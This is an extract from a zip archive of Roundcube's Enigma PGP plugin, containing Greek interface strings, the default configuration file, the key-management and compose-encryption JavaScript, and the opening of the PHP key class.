$labels['keyattimport'] = 'Εισαγωγή κλειδιού(ών)';
$labels['typesign'] = 'Υπογραφή';
$labels['typeencrypt'] = 'Κρυπτογράφηση';
$labels['typecert'] = 'Πιστοποίηση';
$labels['typeauth'] = 'Επαλήθευση';
$labels['subkeyid'] = 'Ταυτότητα';
$labels['subkeyalgo'] = 'Αλγόριθμος';
$labels['subkeycreated'] = 'Δημιουργήθηκε';
$labels['subkeyexpires'] = 'Λήγει';
$labels['subkeyusage'] = 'Χρήση';
$labels['expiresnever'] = 'ποτέ';
$labels['unknown'] = 'άγνωστο';
$labels['uservalid'] = 'Έγκυρο';
$labels['userid'] = 'Ταυτότητα';
$labels['valid'] = 'έγκυρο';
$labels['supportencryption'] = 'Ενεργοποιήστε την κρυπτογράφηση και υπογραφή μηνυμάτων';
$labels['supportsignatures'] = 'Ενεργοποίηση επαλήθευσης υπογραφών μηνύματος';
$labels['supportdecryption'] = 'Ενεργοποιήστε την κρυπτογράφηση μηνυμάτων';
$labels['signdefault'] = 'Υπογραφή όλων των μηνυμάτων από προεπιλογή';
$labels['encryptdefault'] = 'Κρυπτογράφηση όλων των μηνυμάτων από προεπιλογή';
$labels['attachpubkeydefault'] = 'Επισύναψη του δημόσιου PGP κλειδιού μου από προεπιλογή';
$labels['passwordtime'] = 'Διατήρηση των κωδικών του ιδιωτικού κλειδιού για';
$labels['nminutes'] = '$m λεπτό(ά)';
$labels['wholesession'] = 'ολόκληρη τη συνεδρία';
$labels['createkeys'] = 'Δημιουργία νέου ζεύγους κλειδιού';
$labels['importkeys'] = 'Εισαγωγή κλειδιού(ών)';
$labels['exportkeys'] = 'Εξαγωγή κλειδιού(ών)';
$labels['keyactions'] = 'Ενέργειες κλειδιού...';
$labels['keyremove'] = 'Διαγραφή';
$labels['keydisable'] = 'Απενεργοποίηση';
$labels['keyrevoke'] = 'Απόσυρση';
$labels['keysend'] = 'Αποστολή δημοσίου κλειδιού στο μήνυμα';
$labels['keychpass'] = 'Αλλαγή κωδικού';
$labels['keyadd'] = 'Προσθήκη κλειδιού';
$labels['newkeyident'] = 'Ταυτότητα';
$labels['newkeypass'] = 'Κωδικός Πρόσβασης';
$labels['newkeypassconfirm'] = 'Επιβέβαιωση κωδικού πρόσβασης';
$labels['newkeytype'] = 'Τύπος κλειδιού';
$labels['rsa2048'] = 'RSA - 2048 bits';
$labels['rsa4096'] = 'RSA - 4096 bits';
$labels['ecckeypair'] = 'ECC (Elliptic Curve)';
$labels['keygenerating'] = 'Δημιουργία κλειδιών...';
$labels['encryptionoptions'] = 'Επιλογές κρυπτογράφησης...';
$labels['encryptmsg'] = 'Κρυπτογράφηση του μηνύματος';
$labels['signmsg'] = 'Ψηφιακή υπογραφή του μηνύματος';
$labels['sendunencrypted'] = 'Αποστολή χωρίς κρυπτογράφηση';
$labels['enterkeypasstitle'] = 'Εισάσετε τον κωδικό του κλειδιού';
$labels['enterkeypass'] = 'Απαιτείται ένας κωδικός για το ξεκλειδωμα του κρυφού κλειδιού ($keyid) του χρήστη: $user.';
$labels['attachpubkeymsg'] = 'Επισύναψη του δημόσιου κλειδιού μου';
$labels['keyexportprompt'] = 'Θέλετε να συμπεριληφθούν τα μυστικά κλειδικά στο αποθηκευμένο αρχείο κλειδιών OpenPGP;';
$labels['onlypubkeys'] = 'Εξαγωγή Δημοσίων Κλειδιών Μόνο';
$labels['withprivkeys'] = 'Εξαγωγή Μυστικών Κλειδιών';
$labels['findkey'] = 'Αναζήτηση στον(ους) εξυπηρετητή(ές) κλειδιών';
$labels['keyimportlabel'] = 'Εισαγωγή από αρχείο';
$labels['keyimportsearchlabel'] = 'Αναζήτηση στον(ους) εξυπηρετητή(ές) κλειδιών';
$labels['managekeys'] = 'Διαχείριση PGP κλειδιών';
$labels['identitymatchingprivkeys'] = 'Έχετε $nr παρόμοια ιδιωτικά κλειδιά αποθηκευμένα στην κλειδοθήκη σας:';
$labels['identitynoprivkeys'] = 'Αυτός ο αποστολέας δε διαθέτει ακόμη ιδιωτικό κλειδί PGP αποθηκευμένο στην κλειδοθήκη σας.';
$labels['arialabelkeyexportoptions'] = 'Επιλογές εξαγωγής κλειδιών';
$labels['arialabelkeysearchform'] = 'Φόρμα αναζήτησης κλειδιών';
$labels['arialabelkeyoptions'] = 'Επιλογές κλειδιών';
$messages['sigvalid'] = 'Επαληθευμένη υπογραφή από τον  $sender.';
$messages['sigvalidpartial'] = 'Επαληθευμένη υπογραφή από τον $sender, αλλά τμήμα του κειμένου δεν έχει υπογραφεί.';
$messages['siginvalid'] = 'Άκυρη υπογραφή από τον $sender.';
$messages['sigunverified'] = 'Ανεπαλήθευτη υπογραφή. Το πιστοποιητικό δεν έχει επαληθευτεί. Ταυτότητα πιστοποιητικού: $keyid.';
$messages['signokey'] = 'Ανεπαλήθευτη υπογραφή. Το δημόσιο κλειδί δε βρέθηκε. Ταυτότητα κλειδιού: $keyid.';
$messages['sigerror'] = 'Ανεπαλήθευτη υπογραφή. Εσωτερικό σφάλμα.';
$messages['decryptok'] = 'Το μήνυμα αποκρυπτογραφήθηκε.';
$messages['decrypterror'] = 'Η αποκρυπτογράφηση απέτυχε.';
$messages['decryptnokey'] = 'Η αποκρυπτογράφηση απέτυχε. Το ιδιωτικό κλειδί δε βρέθηκε. Ταυτότητα κλειδιού: $keyid.';
$messages['decryptnomdc'] = 'Η αποκρυπτογράφηση παραλείφθηκε. Το μήνυμα δε διαθέτει προστασία ακεραιότητας.';
$messages['decryptbadpass'] = 'Η αποκρυπτογράφηση απέτυχε. Μη έγκυρος κωδικός πρόσβασης.';
$messages['decryptnopass'] = 'Η αποκρυπτογράφηση απέτυχε. Απαιτείται ο κωδικός του κλειδιού.';
$messages['decryptpartial'] = 'Το μήνυμα αποκρυπτογραφήθηκε, αλλά τμήμα του μηνύματος δεν ήταν κρυπτογραφημένο.';
$messages['signerror'] = 'Η υπογραφή απέτυχε.';
$messages['signnokey'] = 'Η υπογραφή απέτυχε. Το ιδιωτικό κλειδί δε βρέθηκε.';
$messages['signbadpass'] = 'Η υπογραφή απέτυχε. Λάθος κωδικός πρόσβασης.';
$messages['signnopass'] = 'Η υπογραφή απέτυχε. Απαιτείται ο κωδικός του κλειδιού.';
$messages['encrypterror'] = 'Η κρυπτογράφηση απέτυχε.';
$messages['encryptnokey'] = 'Η κρυπτογράφηση απέτυχε. Το δημόσιο κλειδί του $email δε βρέθηκε.
 ';
$messages['encryptnoprivkey'] = 'Η κρυπτογράφηση απέτυχε. Το ιδιωτικό κλειδί δε βρέθηκε.';
$messages['nokeysfound'] = 'Δε βρέθηκαν κλειδιά';
$messages['keynotfound'] = 'Το κλειδί δε βρέθηκε!';
$messages['keyopenerror'] = 'Αδυναμία ανάκτησης των πληροφοριών του κλειδιού! Εσωτερικό σφάλμα.';
$messages['keylisterror'] = 'Αδυναμία ανάκτησης λίστας κλειδιού! Εσωτερικό σφάλμα.';
$messages['keysimportfailed'] = 'Αδυναμία εισαγωγής του κλειδιού(ών)! Εσωτερικό σφάλμα.';
$messages['keysimportsuccess'] = 'Το κλειδί(ά) εισήχθη επιτυχώς. Εισήχθη: $new, αναλλοίωτο: $old.';
$messages['keyremoving'] = 'Διαφραφή κλειδιού(ών)...';
$messages['keyremoveconfirm'] = 'Θέλετε σίγουρα να διαγράψετε το επιλεγμένο κλειδί(ά);';
$messages['keyremovesuccess'] = 'Το κλειδί(ά) διαγράφηκε επιτυχώς.';
$messages['keyremoveerror'] = 'Αδυναμία διαγραφής του επιλεγμένου κλειδιού(ών).';
$messages['keyimporttext'] = 'Μπορείτε να εισάγετε ιδιωτικά ή δημόσια κλειδιά ή να ανακτήσετε υπογραφές σε μοργή ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Μπορείτε να αναζητήσετε δημόσια κλειδιά βάσει του αναγνωριστικό κλειδιού, του ονόματος χρήστη ή της διεύθυνσης ηλ/νικού ταχυδρομείου και, στη συνέχεια, να τα εισαγάγετε απευθείας.';
$messages['keystoragenotice'] = 'Όλα τα δημόσια και ιδιωτικά κλειδιά είναι αποθηκευμένα στο διακομιστή.';
$messages['formerror'] = 'Παρακαλώ συμπληρώστε όλα τα πεδία της φόρμας!';
$messages['passwordsdiffer'] = 'Οι κωδικοί δεν ταιριάζουν μεταξύ τους!';
$messages['keygenerateerror'] = 'Αποτυχία δημιουργίας ζεύγους κλειδιών.';
$messages['keygeneratesuccess'] = 'Το ζεύγος κλειδιών δημιουργήθηκε και εισήχθη επιτυχώς.';
$messages['keygennosupport'] = 'To πρόγραμμα περιήγησής σας δεν υποστηρίζει κρυπτογράφηση. Δεν ήταν δυνατή η δημιουργία ενός ζεύγος κλειδιών!';
$messages['noidentselected'] = 'Πρέπει να επιλέξετε τουλάχιστον μια ταυτότητα για το κλειδί!';
$messages['nonameident'] = 'Η Ταυτότητα πρέπει να έχει ορισμένο όνομα χρήστη!';
$labels['newkeysize'] = 'Μέγεθος κλειδιού';
$labels['key2048'] = '2048 bits - προκαθορισμένο';
$labels['key4096'] = '4096 bits - ασφαλέστερο';
PKh�\k���
�
"plugins/enigma/config.inc.php.distnu�[���<?php

// Enigma Plugin options
// --------------------

// A driver to use for PGP. Default: "gnupg".
$config['enigma_pgp_driver'] = 'gnupg';

// A driver to use for S/MIME. Default: "phpssl".
$config['enigma_smime_driver'] = 'phpssl';

// Enables logging of enigma operations (including Crypt_GPG debug info)
$config['enigma_debug'] = false;

// REQUIRED! Keys directory for all users.
// Must be writeable by PHP process, and not in the web server document root
$config['enigma_pgp_homedir'] = null;

// Location of gpg binary. By default it will be auto-detected.
// This is also a way to force gpg2 use if there are both 1.x and 2.x on the system.
$config['enigma_pgp_binary'] = '';

// Location of gpg-agent binary. By default it will be auto-detected.
// It's used with GnuPG 2.x.
$config['enigma_pgp_agent'] = '';

// Location of gpgconf binary. By default it will be auto-detected.
// It's used with GnuPG >= 2.1.
$config['enigma_pgp_gpgconf'] = '';

// Name of the PGP symmetric cipher algorithm.
// Run gpg --version to see the list of supported algorithms
$config['enigma_pgp_cipher_algo'] = null;

// Name of the PGP digest (hash) algorithm.
// Run gpg --version to see the list of supported algorithms
$config['enigma_pgp_digest_algo'] = null;

// Enables multi-host environments support.
// Enable it if you have more than one HTTP server.
// Make sure all servers run the same GnuPG version and have time in sync.
// Keys will be stored in SQL database (make sure max_allowed_packet
// is big enough).
$config['enigma_multihost'] = false;

// Enables signatures verification feature.
$config['enigma_signatures'] = true;

// Enables messages decryption feature.
$config['enigma_decryption'] = true;

// Enables messages encryption and signing feature.
$config['enigma_encryption'] = true;

// Enable signing all messages by default
$config['enigma_sign_all'] = false;

// Enable encrypting all messages by default
$config['enigma_encrypt_all'] = false;

// Enable attaching a public key to all messages by default
$config['enigma_attach_pubkey'] = false;

// Default for how long to store private key passwords (in minutes).
// When set to 0 passwords will be stored for the whole session.
$config['enigma_password_time'] = 5;

// Enable support for private keys without passwords.
$config['enigma_passwordless'] = false;

// With this option you can lock composing options
// of the plugin forcing the user to use configured settings.
// The array accepts: 'sign', 'encrypt', 'pubkey'.
//
// For example, to force your users to sign every email,
// you should set:
//     - enigma_sign_all     = true
//     - enigma_options_lock = ['sign']
//     - dont_override       = ['enigma_sign_all']
$config['enigma_options_lock'] = [];
PKh�\BǍ�f]f]plugins/enigma/enigma.jsnu�[���/**
 * Enigma plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */

window.rcmail && rcmail.addEventListener('init', function(evt) {
    if (rcmail.env.task == 'settings') {
        if (rcmail.gui_objects.keyslist) {
            rcmail.keys_list = new rcube_list_widget(rcmail.gui_objects.keyslist,
                {multiselect:true, draggable:false, keyboard:true});
            rcmail.keys_list
                .addEventListener('select', function(o) { rcmail.enigma_keylist_select(o); })
                .addEventListener('keypress', function(o) { rcmail.list_keypress(o, {del: 'plugin.enigma-key-delete'}); })
                .init()
                .focus();

            rcmail.enigma_list();

            rcmail.register_command('firstpage', function(props) { return rcmail.enigma_list_page('first'); });
            rcmail.register_command('previouspage', function(props) { return rcmail.enigma_list_page('previous'); });
            rcmail.register_command('nextpage', function(props) { return rcmail.enigma_list_page('next'); });
            rcmail.register_command('lastpage', function(props) { return rcmail.enigma_list_page('last'); });
        }

        if (rcmail.env.action == 'plugin.enigmakeys') {
            rcmail.register_command('search', function(props) {return rcmail.enigma_search(props); }, true);
            rcmail.register_command('reset-search', function(props) {return rcmail.enigma_search_reset(props); }, true);
            rcmail.register_command('plugin.enigma-import', function() { rcmail.enigma_import(); }, true);
            rcmail.register_command('plugin.enigma-import-search', function() { rcmail.enigma_import_search(); }, true);
            rcmail.register_command('plugin.enigma-key-export', function() { rcmail.enigma_export(); });
            rcmail.register_command('plugin.enigma-key-export-selected', function() { rcmail.enigma_export(true); });
            rcmail.register_command('plugin.enigma-key-import', function() { rcmail.enigma_key_import(); }, true);
            rcmail.register_command('plugin.enigma-key-import-search', function() { rcmail.enigma_key_import_search(); }, true);
            rcmail.register_command('plugin.enigma-key-delete', function(props) { return rcmail.enigma_delete(); });
            rcmail.register_command('plugin.enigma-key-create', function(props) { return rcmail.enigma_key_create(); }, true);
            rcmail.register_command('plugin.enigma-key-save', function(props) { return rcmail.enigma_key_create_save(); }, true);

            rcmail.addEventListener('responseafterplugin.enigmakeys', function() {
                rcmail.enable_command('plugin.enigma-key-export', rcmail.env.rowcount > 0);
                rcmail.triggerEvent('listupdate', {list: rcmail.keys_list, rowcount: rcmail.env.rowcount});
            });

            if (rcmail.gui_objects.importform) {
                // make sure Enter key in search input starts searching
                // instead of submitting the form
                $('#rcmimportsearch').keydown(function(e) {
                    if (e.which == 13) {
                        rcmail.enigma_import_search();
                        return false;
                    }
                });
            }
        }
    }
    else if (rcmail.env.task == 'mail') {
        if (rcmail.env.action == 'compose') {
            rcmail.addEventListener('beforesend', function(props) { rcmail.enigma_beforesend_handler(props); })
                .addEventListener('beforesavedraft', function(props) { rcmail.enigma_beforesavedraft_handler(props); });

            $('#enigmamenu').find('input,label').mouseup(function(e) {
                // don't close the menu on mouse click inside
                e.stopPropagation();
            });

            $('a.button.enigma').prop('tabindex', $('#messagetoolbar > a').first().prop('tabindex'));

            $.each(['encrypt', 'sign'], function() {
                var opt = this, input = $('#enigma' + opt + 'opt');

                if (rcmail.env['enigma_force_' + opt]) {
                    input.prop('checked', true);
                }

                // Compose status bar in Elastic
                if (window.UI && UI.compose_status) {
                    input.on('change', function() { UI.compose_status(opt, this.checked); });
                }

                // As the options might have been initially enabled we have to
                // trigger onchange event, so all handlers can update the state
                input.trigger('change');
            });
        }

        if (rcmail.env.enigma_password_request) {
            rcmail.enigma_password_request(rcmail.env.enigma_password_request);
        }
    }
});


/*********************************************************/
/*********    Enigma Settings/Keys/Certs UI      *********/
/*********************************************************/

// Display key(s) import form
rcube_webmail.prototype.enigma_key_import = function()
{
    var dialog = $('<iframe>').attr('src', this.url('plugin.enigmakeys', {_a: 'import', _framed: 1})),
        import_func = function(e) {
            var win = dialog[0].contentWindow;
            win.rcmail.enigma_import();
        };

    this.enigma_import_dialog = this.simple_dialog(dialog, 'enigma.importkeys', import_func, {
        button: 'import',
        width: 500,
        height: 180
    });
};

// Display key(s) search/import form
rcube_webmail.prototype.enigma_key_import_search = function()
{
    var dialog = $('<iframe>').attr('src', this.url('plugin.enigmakeys', {_a: 'import-search', _framed: 1})),
        search_func = function() {
            var win = dialog[0].contentWindow;
            win.rcmail.enigma_import_search();
        };

    this.enigma_import_dialog = this.simple_dialog(dialog, 'enigma.keyimportsearchlabel', search_func, {
        button: 'search',
        width: 500,
        height: 150
    });
};

rcube_webmail.prototype.enigma_import_success = function()
{
    var dialog = this.enigma_import_dialog || parent.rcmail.enigma_import_dialog;
    dialog.dialog('destroy');
};

// Display key(s) generation form
rcube_webmail.prototype.enigma_key_create = function()
{
    this.keys_list.clear_selection();
    this.enigma_loadframe('&_action=plugin.enigmakeys&_a=create&_nav=hide');
};

// Generate key(s) and submit them
rcube_webmail.prototype.enigma_key_create_save = function()
{
    var options, lock, users = [],
        password = $('#key-pass').val(),
        confirm = $('#key-pass-confirm').val(),
        type = $('#key-type').val();

    $('[name="identity[]"]:checked').each(function() {
        users.push({name: $(this).data('name') || '', email: $(this).data('email')});
    });

    // validate the form
    if (!password || !confirm) {
        this.alert_dialog(this.get_label('enigma.formerror'));
        return;
    }

    if (password != confirm) {
        this.alert_dialog(this.get_label('enigma.passwordsdiffer'));
        return;
    }

    if (!users.length) {
        this.alert_dialog(this.get_label('enigma.noidentselected'));
        return;
    }

    // generate keys
    // use OpenPGP.js if browser supports required features
    if (window.openpgp && window.crypto && window.crypto.getRandomValues) {
        lock = this.set_busy(true, 'enigma.keygenerating');
        options = {
            userIDs: users,
            passphrase: password,
            type: type.substring(0, 3)
        };

        if (type == 'ecc')
            options.curve = 'ed25519';
        else if (type == 'rsa4096')
            options.rsaBits = 4096;
        else
            options.rsaBits = 2048;

        openpgp.generateKey(options).then(function(keypair) {
            // success
            var post = {
              _a: 'import',
              _keys: keypair.privateKey,
              _generated: 1,
              _passwd: password
            };

            // send request to server
            rcmail.http_post('plugin.enigmakeys', post, lock);
        }, function(error) {
            // failure
            console.error(error);
            rcmail.set_busy(false, null, lock);
            rcmail.display_message(rcmail.get_label('enigma.keygenerateerror'), 'error');
        });
    }
    else {
        rcmail.display_message(rcmail.get_label('enigma.keygennosupport'), 'error');
    }
};

// Action executed after successful key generation and import
rcube_webmail.prototype.enigma_key_create_success = function()
{
    parent.rcmail.enigma_list(1);
};

// Delete key(s)
rcube_webmail.prototype.enigma_delete = function()
{
    var keys = this.keys_list.get_selection();

    if (!keys.length)
        return;

    this.confirm_dialog(this.get_label('enigma.keyremoveconfirm'), 'delete', function(e, ref) {
        var lock = ref.display_message(ref.get_label('enigma.keyremoving'), 'loading'),
            post = {_a: 'delete', _keys: keys};

        // send request to server
        ref.http_post('plugin.enigmakeys', post, lock);
    });
};

// Export key(s)
rcube_webmail.prototype.enigma_export = function(selected)
{
    var priv = false,
        list = this.keys_list,
        keys = selected ? list.get_selection().join(',') : '*',
        args = {_keys: keys};

    if (!keys.length)
        return;

    // find out whether selected keys are private
    if (keys == '*')
        priv = true;
    else
        $.each(list.get_selection(), function() {
            flags = $(list.rows[this].obj).data('flags');
            if (flags && flags.indexOf('p') >= 0) {
                priv = true;
                return false;
            }
        });

    // ask the user about including private key in the export
    if (priv)
        return this.show_popup_dialog(
            this.get_label('enigma.keyexportprompt'),
            this.get_label('enigma.exportkeys'),
            [{
                'class': 'export mainaction',
                text: this.get_label('enigma.onlypubkeys'),
                click: function(e) {
                    rcmail.enigma_export_submit(args);
                    $(this).remove();
                }
            },
            {
                'class': 'export',
                text: this.get_label('enigma.withprivkeys'),
                click: function(e) {
                    args._priv = 1;
                    rcmail.enigma_export_submit(args);
                    $(this).remove();
                }
            },
            {
                'class': 'cancel',
                text: this.get_label('close'),
                click: function(e) {
                    $(this).remove();
                }
            }],
            {width: 500}
        );

    this.enigma_export_submit(args);
};

// Submitting request for key(s) export
// Done this way to handle password input
rcube_webmail.prototype.enigma_export_submit = function(data)
{
    var id = 'keyexport-' + new Date().getTime(),
        form = $('<form>').attr({target: id, method: 'post', style: 'display:none',
            action: '?_action=plugin.enigmakeys&_task=settings&_a=export'}),
        iframe = $('<iframe>').attr({name: id, style: 'display:none'})

    form.append($('<input>').attr({name: '_token', value: this.env.request_token}));
    $.each(data, function(i, v) {
        form.append($('<input>').attr({name: i, value: v}));
    });

    iframe.appendTo(document.body);
    form.appendTo(document.body).submit();
};

// Submit key(s) import form
rcube_webmail.prototype.enigma_import = function()
{
    var form, file, lock,
        id = 'keyimport-' + new Date().getTime();

    if (form = this.gui_objects.importform) {
        file = document.getElementById('rcmimportfile');
        if (file && !file.value) {
            this.alert_dialog(this.get_label('selectimportfile'));
            return;
        }

        lock = this.set_busy(true, 'importwait');
        $('<iframe>').attr({name: id, style: 'display:none'}).appendTo(document.body);
        $(form).attr({target: id, action: this.add_url(form.action, '_unlock', lock)}).submit();

        return true;
    }
};

// Search for key(s) for import
rcube_webmail.prototype.enigma_import_search = function()
{
    var form, search;

    if (form = this.gui_objects.importform) {
        search = $('#rcmimportsearch').val();
        if (!search) {
            return;
        }

        this.enigma_find_publickey(search);
    }
};

// list row selection handler
rcube_webmail.prototype.enigma_keylist_select = function(list)
{
    var id = list.get_single_selection(), url;

    if (id && !list.multi_selecting)
        url = '&_action=plugin.enigmakeys&_a=info&_id=' + id;

    this.enigma_loadframe(url);
    this.enable_command('plugin.enigma-key-delete', 'plugin.enigma-key-export-selected', list.get_selection().length > 0);
};

// load key frame
rcube_webmail.prototype.enigma_loadframe = function(url)
{
    var win;

    if (win = this.get_frame_window(this.env.contentframe)) {
        if (!url) {
            if (win.location && win.location.href.indexOf(this.env.blankpage) < 0)
                win.location.href = this.env.blankpage;
            if (this.env.frame_lock)
                this.set_busy(false, null, this.env.frame_lock);
            return;
        }

        this.env.frame_lock = this.set_busy(true, 'loading');
        win.location.href = this.env.comm_path + '&_framed=1' + url;
    }
};

// Search keys/certs
rcube_webmail.prototype.enigma_search = function(props)
{
    if (!props && this.gui_objects.qsearchbox)
        props = this.gui_objects.qsearchbox.value;

    if (props || this.env.search_request) {
        var params = {'_a': 'search', '_q': props},
          lock = this.set_busy(true, 'searching');
//        if (this.gui_objects.search_filter)
//          addurl += '&_filter=' + this.gui_objects.search_filter.value;
        this.env.current_page = 1;
        this.enigma_loadframe();
        this.enigma_clear_list();
        this.http_post('plugin.enigmakeys', params, lock);
    }

    return false;
};

// Reset search filter and the list
rcube_webmail.prototype.enigma_search_reset = function(props)
{
    var s = this.env.search_request;
    this.reset_qsearch();

    if (s) {
        this.enigma_loadframe();
        this.enigma_clear_list();

        // refresh the list
        this.enigma_list();
    }

    return false;
};

// Keys/certs listing
rcube_webmail.prototype.enigma_list = function(page, reset_frame)
{
    if (this.is_framed())
        return parent.rcmail.enigma_list(page, reset_frame);

    var params = {'_a': 'list'},
      lock = this.set_busy(true, 'loading');

    this.env.current_page = page ? page : 1;

    if (this.env.search_request)
        params._q = this.env.search_request;
    if (page)
        params._p = page;

    this.enigma_clear_list(reset_frame);
    this.http_post('plugin.enigmakeys', params, lock);
};

// Change list page
rcube_webmail.prototype.enigma_list_page = function(page)
{
    if (page == 'next')
        page = this.env.current_page + 1;
    else if (page == 'last')
        page = this.env.pagecount;
    else if (page == 'prev' && this.env.current_page > 1)
        page = this.env.current_page - 1;
    else if (page == 'first' && this.env.current_page > 1)
        page = 1;

    this.enigma_list(page);
};

// Remove list rows
rcube_webmail.prototype.enigma_clear_list = function(reset_frame)
{
    if (reset_frame !== false)
        this.enigma_loadframe();

    if (this.keys_list)
        this.keys_list.clear(true);

    this.enable_command('plugin.enigma-key-delete', 'plugin.enigma-key-delete-selected', false);
    this.triggerEvent('listupdate', {list: this.keys_list, rowcount: this.keys_list.rowcount});
};

// Adds a row to the list
rcube_webmail.prototype.enigma_add_list_row = function(r)
{
    if (!this.gui_objects.keyslist || !this.keys_list)
        return false;

    var list = this.keys_list,
        tbody = this.gui_objects.keyslist.tBodies[0],
        rowcount = tbody.rows.length,
        even = rowcount%2,
        // for performance use DOM instead of jQuery here
        row = document.createElement('tr'),
        col = document.createElement('td');

    row.id = 'rcmrow' + r.id;
    row.className = 'message';
    if (r.flags) $(row).data('flags', r.flags);

    col.className = 'name';
    col.innerHTML = r.name;
    row.appendChild(col);
    list.insert_row(row);
};


/*********************************************************/
/*********        Enigma Message methods         *********/
/*********************************************************/

// handle message send/save action
rcube_webmail.prototype.enigma_beforesend_handler = function(props)
{
    this.env.last_action = 'send';
    this.enigma_compose_handler(props);
};

rcube_webmail.prototype.enigma_beforesavedraft_handler = function(props)
{
    this.env.last_action = 'savedraft';
    this.enigma_compose_handler(props);
};

rcube_webmail.prototype.enigma_compose_handler = function(props)
{
    var form = this.gui_objects.messageform;

    // copy inputs from enigma menu to the form (not used in Elastic)
    $('#enigmamenu input').each(function() {
        var id = this.id + '_cpy', input = $('#' + id);

        if (!input.length) {
            input = $(this).clone();
            input.prop({id: id, type: 'hidden'}).appendTo(form);
        }

        input.val(this.checked ? '1' : '');
    });
};

// Import attached keys/certs file
rcube_webmail.prototype.enigma_import_attachment = function(mime_id)
{
    var lock = this.set_busy(true, 'loading'),
        post = {_uid: this.env.uid, _mbox: this.env.mailbox, _part: mime_id};

    this.http_post('plugin.enigmaimport', post, lock);

    return false;
};

// password request popup
rcube_webmail.prototype.enigma_password_request = function(data)
{
    if (!data || !data.keyid) {
        return;
    }

    var ref = this,
        msg = this.get_label('enigma.enterkeypass'),
        myprompt = $('<div class="prompt">'),
        myprompt_content = $('<p class="message">')
            .appendTo(myprompt),
        myprompt_input = $('<input>').attr({type: 'password', size: 30, 'data-submit': 'true'})
            .appendTo(myprompt);

    data.key = data.keyid;
    if (data.keyid.length > 8)
        data.keyid = data.keyid.substr(data.keyid.length - 8);

    $.each(['keyid', 'user'], function() {
        msg = msg.replace('$' + this, data[this]);
    });

    myprompt_content.text(msg);

    this.show_popup_dialog(myprompt, this.get_label('enigma.enterkeypasstitle'),
        [{
            text: this.get_label('ok'),
            'class': 'mainaction save unlock',
            click: function(e) {
                e.stopPropagation();

                var jq = ref.is_framed() ? window.parent.$ : $;

                data.password = myprompt_input.val();

                if (!data.password) {
                    myprompt_input.focus();
                    return;
                }

                ref.enigma_password_submit(data);
                jq(this).remove();
            }
        },
        {
            text: this.get_label('cancel'),
            'class': 'cancel',
            click: function(e) {
                var jq = ref.is_framed() ? window.parent.$ : $;
                e.stopPropagation();
                jq(this).remove();
            }
        }], {width: 400});

    if (this.is_framed() && parent.rcmail.message_list) {
        // this fixes bug when pressing Enter on "Save" button in the dialog
        parent.rcmail.message_list.blur();
    }
};

// submit entered password
rcube_webmail.prototype.enigma_password_submit = function(data)
{
    var lock, form;

    if (this.env.action == 'compose' && !data['compose-init']) {
        return this.enigma_password_compose_submit(data);
    }
    else if (this.env.action == 'plugin.enigmakeys' && (form = this.gui_objects.importform)) {
        if (!$('input[name="_keyid"]', form).length) {
            $(form).append($('<input>').attr({type: 'hidden', name: '_keyid', value: data.key}))
                .append($('<input>').attr({type: 'hidden', name: '_passwd', value: data.password}))
        }

        return this.enigma_import();
    }

    lock = data.nolock ? null : this.set_busy(true, 'loading');
    form = $('<form>')
        .attr({method: 'post', action: data.action || location.href, style: 'display:none'})
        .append($('<input>').attr({type: 'hidden', name: '_keyid', value: data.key}))
        .append($('<input>').attr({type: 'hidden', name: '_passwd', value: data.password}))
        .append($('<input>').attr({type: 'hidden', name: '_token', value: this.env.request_token}))
        .append($('<input>').attr({type: 'hidden', name: '_unlock', value: lock}));

    // Additional form fields for request parameters
    $.each(data, function(i, v) {
        if (i.indexOf('input') == 0)
            form.append($('<input>').attr({type: 'hidden', name: i.substring(5), value: v}))
    });

    if (data.iframe) {
        var name = 'enigma_frame_' + (new Date()).getTime(),
            frame = $('<iframe>').attr({style: 'display:none', name: name}).appendTo(document.body);
        form.attr('target', name);
    }

    form.appendTo(document.body).submit();
};

// submit entered password - in mail compose page
rcube_webmail.prototype.enigma_password_compose_submit = function(data)
{
    var form = this.gui_objects.messageform;

    if (!$('input[name="_keyid"]', form).length) {
        $(form).append($('<input>').attr({type: 'hidden', name: '_keyid', value: data.key}))
            .append($('<input>').attr({type: 'hidden', name: '_passwd', value: data.password}));
    }
    else {
        $('input[name="_keyid"]', form).val(data.key);
        $('input[name="_passwd"]', form).val(data.password);
    }

    this.submit_messageform(this.env.last_action == 'savedraft');
};

// Display no-key error with key search button
rcube_webmail.prototype.enigma_key_not_found = function(data)
{
    var params = {width: 500, dialogClass: 'error'},
        buttons = [{
            'class': 'mainaction search',
            text: data.button,
            click: function() {
                $(this).remove();
                rcmail.enigma_find_publickey(data.email);
            }
        }];

    if (data.mode == 'encrypt') {
        buttons.push({
            'class': 'send',
            text: rcmail.get_label('enigma.sendunencrypted'),
            click: function(e) {
                $(this).remove();
                $('#enigmaencryptopt').prop('checked', false).change();
                rcmail.command('send', {nocheck: true}, e.target, e.originalEvent);
            }
        });
    }

    buttons.push({
        'class': 'cancel',
        text: this.get_label('cancel'),
        click: function() {
            $(this).remove();
        }
    });

    return this.show_popup_dialog(data.text, data.title, buttons, params);
};

// Search for a public key on the key server
rcube_webmail.prototype.enigma_find_publickey = function(email)
{
    this.mailvelope_search_pubkeys([email],
        function(status) {},
        function(key) {
            var lock = rcmail.set_busy(true, 'enigma.importwait'),
                post = {_a: 'import', _keys: key};

            if (rcmail.env.action == 'plugin.enigmakeys')
                post._refresh = 1;

            // send request to server
            rcmail.http_post('plugin.enigmakeys', post, lock);
        }
    );
};
PKh�\�*TŬ�!plugins/enigma/lib/enigma_key.phpnu�[���<?php

/**
 +-------------------------------------------------------------------------+
 | Key class for the Enigma Plugin                                         |
 |                                                                         |
 | Copyright (C) The Roundcube Dev Team                                    |
 |                                                                         |
 | Licensed under the GNU General Public License version 3 or              |
 | any later version with exceptions for skins & plugins.                  |
 | See the README file for a full license statement.                       |
 +-------------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                              |
 +-------------------------------------------------------------------------+
*/

class enigma_key
{
    public $id;
    public $name;
    public $users   = [];
    public $subkeys = [];
    public $reference;
    public $password;

    const TYPE_UNKNOWN = 0;
    const TYPE_KEYPAIR = 1;
    const TYPE_PUBLIC  = 2;

    const CAN_ENCRYPT      = 1;
